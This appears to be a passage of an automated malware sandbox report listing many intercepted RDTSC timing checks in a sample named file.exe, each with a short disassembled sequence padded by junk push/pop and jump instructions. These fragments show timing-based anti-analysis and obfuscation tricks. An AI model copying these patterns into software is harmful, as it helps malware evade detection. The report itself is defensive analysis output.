Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB8503 second address: FB8509 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB8509 second address: FB851F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC870BD8060h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB851F second address: FB8523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB8523 second address: FB8527 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB8684 second address: FB8688 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB896A second address: FB896E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB8DB5 second address: FB8DD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jbe 00007FC87074E0E2h 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FC87074E0CEh 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edi 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB8F0B second address: FB8F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB8F11 second address: FB8F4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007FC87074E0CEh 0x0000000b pushad 0x0000000c popad 0x0000000d jno 00007FC87074E0C6h 0x00000013 popad 0x00000014 pushad 0x00000015 pushad 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007FC87074E0D8h 0x0000001f jnl 00007FC87074E0C6h 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB8F4E second address: FB8F5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC870BD805Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB8F5F second address: FB8F75 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC87074E0C6h 0x00000008 jno 00007FC87074E0C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB8F75 second address: FB8F79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB8F79 second address: FB8F7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB90EA second address: FB90F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB974D second address: FB9753 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB9753 second address: FB9781 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC870BD8068h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b js 00007FC870BD8058h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB9781 second address: FB9785 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB9785 second address: FB978D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB978D second address: FB9799 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC87074E0CEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB7FFB second address: FB8013 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC870BD8056h 0x00000008 jmp 00007FC870BD805Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE9C5 second address: FBE9DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jg 00007FC87074E0C6h 0x0000000d jmp 00007FC87074E0CCh 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE9DF second address: FBEA26 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC870BD806Dh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC870BD805Fh 0x00000011 jmp 00007FC870BD8065h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBEA26 second address: FBEA31 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edx 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBEB99 second address: FBEBAF instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC870BD805Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBEBAF second address: FBEBB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBEBB3 second address: FBEBD0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FC870BD8063h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBED25 second address: FBED31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FC87074E0C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC16A2 second address: FC16CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD805Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC870BD8065h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC53FB second address: FC540B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC87074E0C6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC540B second address: FC5428 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC870BD8058h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edi 0x0000000e jp 00007FC870BD8056h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b push edx 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC5804 second address: FC5809 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC5C24 second address: FC5C85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FC870BD8056h 0x00000009 jmp 00007FC870BD8065h 0x0000000e jmp 00007FC870BD8068h 0x00000013 popad 0x00000014 jmp 00007FC870BD8067h 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push ecx 0x0000001c jmp 00007FC870BD805Bh 0x00000021 pushad 0x00000022 push edi 0x00000023 pop edi 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC903B second address: FC905A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC87074E0D8h 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC905A second address: FC907D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FC870BD8067h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC875F second address: FC877A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FC87074E0C6h 0x0000000a jc 00007FC87074E0C6h 0x00000010 popad 0x00000011 jmp 00007FC87074E0CAh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8D59 second address: FC8D72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD8063h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD21D second address: FCD262 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC87074E0D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007FC87074E0E0h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jp 00007FC87074E0C6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD537 second address: FCD57F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD8069h 0x00000007 jmp 00007FC870BD805Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f jno 00007FC870BD8056h 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FC870BD8062h 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD6EC second address: FCD6F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD6F5 second address: FCD6FA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD83B second address: FCD85C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC87074E0D5h 0x00000009 jg 00007FC87074E0C6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD85C second address: FCD864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD864 second address: FCD87A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 jmp 00007FC87074E0CAh 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD87A second address: FCD880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCDB2F second address: FCDB35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCDB35 second address: FCDB3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCE584 second address: FCE59F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FC87074E0C6h 0x0000000a popad 0x0000000b push ebx 0x0000000c je 00007FC87074E0C6h 0x00000012 pushad 0x00000013 popad 0x00000014 pop ebx 0x00000015 pop ebx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCE59F second address: FCE5A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCE5A3 second address: FCE5C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC87074E0D5h 0x0000000b jl 00007FC87074E0D2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCE5C6 second address: FCE5CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5B09 second address: FD5B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC87074E0CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5B1B second address: FD5B2D instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC870BD8056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007FC870BD805Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5B2D second address: FD5B33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5B33 second address: FD5B38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5B38 second address: FD5B3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5B3E second address: FD5B46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3C7C second address: FD3C80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3C80 second address: FD3C84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3EEE second address: FD3F1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC87074E0D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC87074E0D5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3F1B second address: FD3F3A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push ebx 0x0000000b jmp 00007FC870BD8062h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD49EC second address: FD4A08 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jg 00007FC87074E0C6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push esi 0x0000000e jmp 00007FC87074E0CCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD54CC second address: FD54D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD57C5 second address: FD57C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD57C9 second address: FD57CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD57CF second address: FD57D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD57D5 second address: FD57E5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FC870BD8056h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD57E5 second address: FD57E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD97F5 second address: FD981F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007FC870BD8056h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FC870BD8066h 0x00000011 push eax 0x00000012 push edx 0x00000013 jnc 00007FC870BD8056h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD981F second address: FD9843 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC87074E0D1h 0x00000007 jmp 00007FC87074E0CCh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD99AA second address: FD99C8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC870BD805Ch 0x00000008 ja 00007FC870BD8056h 0x0000000e pushad 0x0000000f jmp 00007FC870BD805Dh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD99C8 second address: FD99CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9B23 second address: FD9B29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9B29 second address: FD9B40 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC87074E0CDh 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9B40 second address: FD9B63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FC870BD8068h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9B63 second address: FD9B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9B69 second address: FD9B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007FC870BD8056h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9B7A second address: FD9B85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9B85 second address: FD9B8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9CCC second address: FD9D02 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC87074E0CAh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jp 00007FC87074E0C6h 0x00000015 jmp 00007FC87074E0D6h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9D02 second address: FD9D06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9D06 second address: FD9D0C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDEC7F second address: FDECB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD8068h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e jnl 00007FC870BD8056h 0x00000014 jg 00007FC870BD8056h 0x0000001a popad 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5652 second address: FE5656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5656 second address: FE566B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC870BD805Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE566B second address: FE5678 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC87074E0C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5678 second address: FE568A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 je 00007FC870BD8056h 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5D52 second address: FE5D6B instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC87074E0C6h 0x00000008 jo 00007FC87074E0C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jne 00007FC87074E0C6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE6027 second address: FE602C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE602C second address: FE603F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC87074E0CBh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE603F second address: FE6043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE6043 second address: FE6050 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE6050 second address: FE6064 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC870BD8056h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007FC870BD8056h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE675C second address: FE6760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEBCF6 second address: FEBD08 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC870BD8056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007FC870BD8056h 0x00000012 rdtsc
